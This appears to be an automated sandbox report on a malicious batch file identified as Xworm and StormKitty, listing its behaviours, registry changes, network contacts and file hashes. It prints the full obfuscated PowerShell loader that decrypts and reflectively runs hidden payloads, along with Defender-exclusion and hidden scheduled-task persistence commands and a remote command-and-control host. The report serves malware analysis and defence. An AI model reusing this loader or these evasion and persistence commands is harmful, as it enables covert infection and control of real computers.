Analysis Overview
SHA256
26203b41aadf119e6271db5ca06ae8e29ab6c1853163dc048c85b4e943c7e680
Threat Level: Known bad
The file src.bat was found to be: Known bad.
Malicious Activity Summary
Contains code to disable Windows Defender
StormKitty
StormKitty payload
Xworm
Detect Xworm Payload
Blocklisted process makes network request
Command and Scripting Interpreter: PowerShell
Command and Scripting Interpreter: PowerShell
Deletes itself
Checks computer location settings
Drops startup file
Executes dropped EXE
Looks up external IP address via web service
Adds Run key to start application
Sets desktop wallpaper using registry
Enumerates physical storage devices
Enumerates system info in registry
Suspicious use of FindShellTrayWindow
Creates scheduled task(s)
Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
Suspicious use of SendNotifyMessage
Uses Task Scheduler COM API
Suspicious use of AdjustPrivilegeToken
Suspicious behavior: EnumeratesProcesses
Modifies registry class
Suspicious use of SetWindowsHookEx
Suspicious use of WriteProcessMemory
MITRE ATT&CK Matrix V13
Analysis: static1
Detonation Overview
Reported
2024-05-04 03:53
Signatures
Analysis: behavioral2
Detonation Overview
Submitted
2024-05-04 03:53
Reported
2024-05-04 03:58
Platform
win10v2004-20240419-en
Max time kernel
294s
Max time network
301s
Command Line
Signatures
Contains code to disable Windows Defender
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Detect Xworm Payload
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
StormKitty
StormKitty payload
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Xworm
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Checks computer location settings
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\USER\S-1-5-21-877519540-908060166-1852957295-1000\Control Panel\International\Geo\Nation | C:\Windows\System32\WScript.exe | N/A |
Drops startup file
| Description | Indicator | Process | Target |
| File created | C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\steamwebhelper.lnk | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| File opened for modification | C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\steamwebhelper.lnk | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Executes dropped EXE
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\KrampUI.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\steamwebhelper.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\steamwebhelper.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\steamwebhelper.exe | N/A |
Adds Run key to start application
| Description | Indicator | Process | Target |
| Set value (str) | \REGISTRY\USER\S-1-5-21-877519540-908060166-1852957295-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\steamwebhelper = "C:\\Users\\Admin\\AppData\\Roaming\\steamwebhelper.exe" | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Looks up external IP address via web service
| Description | Indicator | Process | Target |
| N/A | ip-api.com | N/A | N/A |
Sets desktop wallpaper using registry
| Description | Indicator | Process | Target |
| Set value (str) | \REGISTRY\USER\S-1-5-21-877519540-908060166-1852957295-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\XBackground.bmp" | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Enumerates physical storage devices
Creates scheduled task(s)
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\schtasks.exe | N/A |
Enumerates system info in registry
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS | C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer | C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName | C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe | N/A |
Modifies registry class
| Description | Indicator | Process | Target |
| Key created | \REGISTRY\USER\S-1-5-21-877519540-908060166-1852957295-1000_Classes\Local Settings | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious behavior: EnumeratesProcesses
Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe | N/A |
| N/A | N/A | C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe | N/A |
| N/A | N/A | C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe | N/A |
| N/A | N/A | C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe | N/A |
| N/A | N/A | C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe | N/A |
| N/A | N/A | C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe | N/A |
Suspicious use of AdjustPrivilegeToken
Suspicious use of FindShellTrayWindow
Suspicious use of SendNotifyMessage
Suspicious use of SetWindowsHookEx
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of WriteProcessMemory
Uses Task Scheduler COM API
Processes
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\src.bat"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('qVcxk3R4fqA1/awJHHwWpHId3e467yxXbpefPgVxiIY='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('t9l1xxFRLkyGduhNMxt2Sg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $lfREy=New-Object System.IO.MemoryStream(,$param_var); $cTHlp=New-Object System.IO.MemoryStream; $uxDbM=New-Object System.IO.Compression.GZipStream($lfREy, [IO.Compression.CompressionMode]::Decompress); $uxDbM.CopyTo($cTHlp); $uxDbM.Dispose(); $lfREy.Dispose(); $cTHlp.Dispose(); $cTHlp.ToArray();}function execute_function($param_var,$param2_var){ $ECHLs=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $VksZt=$ECHLs.EntryPoint; $VksZt.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\src.bat';$AceeP=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\src.bat').Split([Environment]::NewLine);foreach ($KWUra in $AceeP) { if ($KWUra.StartsWith(':: ')) { $PRYqI=$KWUra.Substring(3); break; }}$payloads_var=[string[]]$PRYqI.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_242_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str_242.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str_242.vbs"
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str_242.bat" "
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('qVcxk3R4fqA1/awJHHwWpHId3e467yxXbpefPgVxiIY='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('t9l1xxFRLkyGduhNMxt2Sg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $lfREy=New-Object System.IO.MemoryStream(,$param_var); $cTHlp=New-Object System.IO.MemoryStream; $uxDbM=New-Object System.IO.Compression.GZipStream($lfREy, [IO.Compression.CompressionMode]::Decompress); $uxDbM.CopyTo($cTHlp); $uxDbM.Dispose(); $lfREy.Dispose(); $cTHlp.Dispose(); $cTHlp.ToArray();}function execute_function($param_var,$param2_var){ $ECHLs=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $VksZt=$ECHLs.EntryPoint; $VksZt.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Roaming\startup_str_242.bat';$AceeP=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Roaming\startup_str_242.bat').Split([Environment]::NewLine);foreach ($KWUra in $AceeP) { if ($KWUra.StartsWith(':: ')) { $PRYqI=$KWUra.Substring(3); break; }}$payloads_var=[string[]]$PRYqI.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
C:\Users\Admin\AppData\Local\Temp\KrampUI.exe
"C:\Users\Admin\AppData\Local\Temp\KrampUI.exe"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe'
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'powershell.exe'
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\steamwebhelper.exe'
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'steamwebhelper.exe'
C:\Windows\System32\schtasks.exe
"C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "steamwebhelper" /tr "C:\Users\Admin\AppData\Roaming\steamwebhelper.exe"
C:\Users\Admin\AppData\Roaming\steamwebhelper.exe
C:\Users\Admin\AppData\Roaming\steamwebhelper.exe
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Desktop\CopySubmit.bat" C:\Users\Admin\Desktop\SearchLock.kix"
C:\Windows\system32\AUDIODG.EXE
C:\Windows\system32\AUDIODG.EXE 0x490 0x320
C:\Users\Admin\AppData\Roaming\steamwebhelper.exe
C:\Users\Admin\AppData\Roaming\steamwebhelper.exe
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument C:\Users\Admin\Desktop\How To Decrypt My Files.html
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffa605a46f8,0x7ffa605a4708,0x7ffa605a4718
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2068,14702047073232119560,9485119465732991854,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2076 /prefetch:2
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2068,14702047073232119560,9485119465732991854,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2128 /prefetch:3
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2068,14702047073232119560,9485119465732991854,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2864 /prefetch:8
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2068,14702047073232119560,9485119465732991854,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3220 /prefetch:1
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2068,14702047073232119560,9485119465732991854,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3276 /prefetch:1
C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2068,14702047073232119560,9485119465732991854,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5188 /prefetch:8
C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2068,14702047073232119560,9485119465732991854,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5188 /prefetch:8
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2068,14702047073232119560,9485119465732991854,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5248 /prefetch:1
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2068,14702047073232119560,9485119465732991854,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4744 /prefetch:1
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2068,14702047073232119560,9485119465732991854,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4712 /prefetch:1
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2068,14702047073232119560,9485119465732991854,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3428 /prefetch:1
C:\Users\Admin\AppData\Roaming\steamwebhelper.exe
C:\Users\Admin\AppData\Roaming\steamwebhelper.exe
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 149.220.183.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 172.210.232.199.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 4.159.190.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 104.219.191.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 43.58.199.20.in-addr.arpa | udp |
| NL | 23.62.61.194:443 | www.bing.com | tcp |
| US | 8.8.8.8:53 | 194.61.62.23.in-addr.arpa | udp |
| US | 20.231.121.79:80 | tcp | |
| US | 8.8.8.8:53 | 97.17.167.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | api.github.com | udp |
| GB | 20.26.156.210:443 | api.github.com | tcp |
| US | 8.8.8.8:53 | ip-api.com | udp |
| US | 208.95.112.1:80 | ip-api.com | tcp |
| US | 8.8.8.8:53 | 210.156.26.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 1.112.95.208.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 50.23.12.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 18.31.95.13.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 24.139.73.23.in-addr.arpa | udp |
| N/A | 127.0.0.1:58347 | tcp | |
| N/A | 127.0.0.1:58347 | tcp | |
| N/A | 127.0.0.1:58347 | tcp | |
| N/A | 127.0.0.1:58347 | tcp | |
| US | 8.8.8.8:53 | 49.15.97.104.in-addr.arpa | udp |
| US | 8.8.8.8:53 | continue-silk.gl.at.ply.gg | udp |
| US | 147.185.221.18:58347 | continue-silk.gl.at.ply.gg | tcp |
| US | 8.8.8.8:53 | 18.221.185.147.in-addr.arpa | udp |
| US | 147.185.221.18:58347 | continue-silk.gl.at.ply.gg | tcp |
| US | 8.8.8.8:53 | 79.190.18.2.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 14.227.111.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 203.197.79.204.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 26.35.223.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | tse1.mm.bing.net | udp |
| US | 204.79.197.200:443 | tse1.mm.bing.net | tcp |
| US | 204.79.197.200:443 | tse1.mm.bing.net | tcp |
| US | 204.79.197.200:443 | tse1.mm.bing.net | tcp |
| US | 204.79.197.200:443 | tse1.mm.bing.net | tcp |
| US | 147.185.221.18:58347 | continue-silk.gl.at.ply.gg | tcp |
| US | 147.185.221.18:58347 | continue-silk.gl.at.ply.gg | tcp |
| US | 147.185.221.18:58347 | continue-silk.gl.at.ply.gg | tcp |
| N/A | 224.0.0.251:5353 | udp | |
| US | 147.185.221.18:58347 | continue-silk.gl.at.ply.gg | tcp |
Files
memory/3888-0-0x00007FFA5F063000-0x00007FFA5F065000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_t3sbcrnr.ybf.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
memory/3888-6-0x000001C97AB20000-0x000001C97AB42000-memory.dmp
memory/3888-11-0x00007FFA5F060000-0x00007FFA5FB21000-memory.dmp
memory/3888-12-0x00007FFA5F060000-0x00007FFA5FB21000-memory.dmp
memory/3888-13-0x000001C9203E0000-0x000001C9203E8000-memory.dmp
memory/3888-14-0x000001C9203F0000-0x000001C921490000-memory.dmp
memory/4888-16-0x00007FFA5F060000-0x00007FFA5FB21000-memory.dmp
memory/4888-28-0x00007FFA5F060000-0x00007FFA5FB21000-memory.dmp
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
| MD5 | 4d2c8d8bf93f9450f044c6ef5dff215a |
| SHA1 | 4d6ecc646ee6c124aaf7535c1387445e02734750 |
| SHA256 | e77daf5c774ba87a166ccd95c40a7211f605316321e1d421b82fb0fc8ed75eb0 |
| SHA512 | c75903513f87ba5fb4da3e19b079be8ba1f451e1f503ed9fdcf3dee82ce9605b87af560a120156a09b3842cdf0c42fb20f7c8cd242e3021d644e959c8536c0aa |
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
| MD5 | 661739d384d9dfd807a089721202900b |
| SHA1 | 5b2c5d6a7122b4ce849dc98e79a7713038feac55 |
| SHA256 | 70c3ecbaa6df88e88df4efc70968502955e890a2248269641c4e2d4668ef61bf |
| SHA512 | 81b48ae5c4064c4d9597303d913e32d3954954ba1c8123731d503d1653a0d848856812d2ee6951efe06b1db2b91a50e5d54098f60c26f36bc8390203f4c8a2d8 |
C:\Users\Admin\AppData\Roaming\startup_str_242.vbs
| MD5 | 88b92ce85da644b6895b486efaf6fe39 |
| SHA1 | f7e34957b86687c00e308a147e6b5693ade24a70 |
| SHA256 | 89980a40482461a1bfc9f902108578eac50e69a28e4b05abab43f8bf5949cdce |
| SHA512 | 96503e9d6746f5314b83061f8172280be0be93acd9d36334f95ac64c8becba467e494457e138032544c4ce0b9d5783d5a8f364c9b4a95dff7c323e1f5fd6295f |
C:\Users\Admin\AppData\Roaming\startup_str_242.bat
| MD5 | 0f4fd1c1d7779042723279142a04cb7b |
| SHA1 | 0c0ea12510e5347249289664342bf55700e014aa |
| SHA256 | 26203b41aadf119e6271db5ca06ae8e29ab6c1853163dc048c85b4e943c7e680 |
| SHA512 | e50e417c45d4fcdee499c813916e1e2e17ca63aa60e72b7bfe3726093aca365b97988998e42e0c647088f10d96aa64d065cda48aa6b9a8dfccc6721ab192b4f8 |
memory/3888-47-0x00007FFA5F060000-0x00007FFA5FB21000-memory.dmp
memory/3088-50-0x00000148393E0000-0x00000148393FA000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\KrampUI.exe
| MD5 | c0b745a10036cb08b21ceacf0ffb34e1 |
| SHA1 | b51bfacfd170a0dc5bf8f0077ac878880b2ee881 |
| SHA256 | 892653409cdaf84b1b7a7e26160fd11beb2e8dc83d15b518a6395a437dbed70f |
| SHA512 | 43cad49c4d7fa4fefbd7b79dddfea1b434999424cf704d06cc256a75dde1fc36a41189f6682ea51ebeab2e82721f25932c90254e2ddf41b497205ff4338acbfe |
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
| MD5 | 6d42b6da621e8df5674e26b799c8e2aa |
| SHA1 | ab3ce1327ea1eeedb987ec823d5e0cb146bafa48 |
| SHA256 | 5ab6a1726f425c6d0158f55eb8d81754ddedd51e651aa0a899a29b7a58619c4c |
| SHA512 | 53faffbda8a835bc1143e894c118c15901a5fd09cfc2224dd2f754c06dc794897315049a579b9a8382d4564f071576045aaaf824019b7139d939152dca38ce29 |
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
| MD5 | b4b6d4cc52b5a3a71149b1f33d94d5de |
| SHA1 | 97d3dbdd24919eab70e3b14c68797cefc07e90dd |
| SHA256 | da8c02ce00d5b1e6d4c3667465c7bbc14d7cd5227eb634f3d9690afd488267fe |
| SHA512 | fc894f03709b83df7d2fca2779e1e60549078b67bcdbff0b61c8e5a802982210ae971309c1f92577573299288963ab5c95c6b38cbaedf53dc6062812c57a97af |
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
| MD5 | 67e8893616f805af2411e2f4a1411b2a |
| SHA1 | 39bf1e1a0ddf46ce7c136972120f512d92827dcd |
| SHA256 | ca0dfe104c1bf27f7e01999fcdabc16c6400c3da937c832c26bdbca322381d31 |
| SHA512 | 164e911a9935e75c8be1a6ec3d31199a16ba2a1064da6c09d771b2a38dd7fddd142301ef55d67d90f306d3a454a1ce7b72e129ea42e44500b9b8c623a8d98b4d |
C:\Users\Admin\AppData\Roaming\steamwebhelper.exe
| MD5 | 04029e121a0cfa5991749937dd22a1d9 |
| SHA1 | f43d9bb316e30ae1a3494ac5b0624f6bea1bf054 |
| SHA256 | 9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f |
| SHA512 | 6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b |
memory/4780-119-0x0000019C62E00000-0x0000019C62E44000-memory.dmp
memory/4780-120-0x0000019C630D0000-0x0000019C63146000-memory.dmp
memory/3088-121-0x0000014839920000-0x000001483992C000-memory.dmp
memory/3088-123-0x00000148393D0000-0x00000148393DA000-memory.dmp
memory/3088-126-0x0000014839980000-0x000001483998E000-memory.dmp
memory/3088-127-0x000001483A3A0000-0x000001483A4C0000-memory.dmp
memory/3088-166-0x0000014839BC0000-0x0000014839BCA000-memory.dmp
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\steamwebhelper.exe.log
| MD5 | 3f01549ee3e4c18244797530b588dad9 |
| SHA1 | 3e87863fc06995fe4b741357c68931221d6cc0b9 |
| SHA256 | 36b51e575810b6af6fc5e778ce0f228bc7797cd3224839b00829ca166fa13f9a |
| SHA512 | 73843215228865a4186ac3709bf2896f0f68da0ba3601cc20226203dd429a2ad9817b904a45f6b0456b8be68deebf3b011742a923ce4a77c0c6f3a155522ab50 |
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive
| MD5 | 6e6d88960a2258f4590e97c382884634 |
| SHA1 | 244736513d2d071227c3df04532e67c818e7c9cd |
| SHA256 | 84cc5d85e71eed874541bd9724ebec8827a12b730b72bd8040fec29ab8a37a50 |
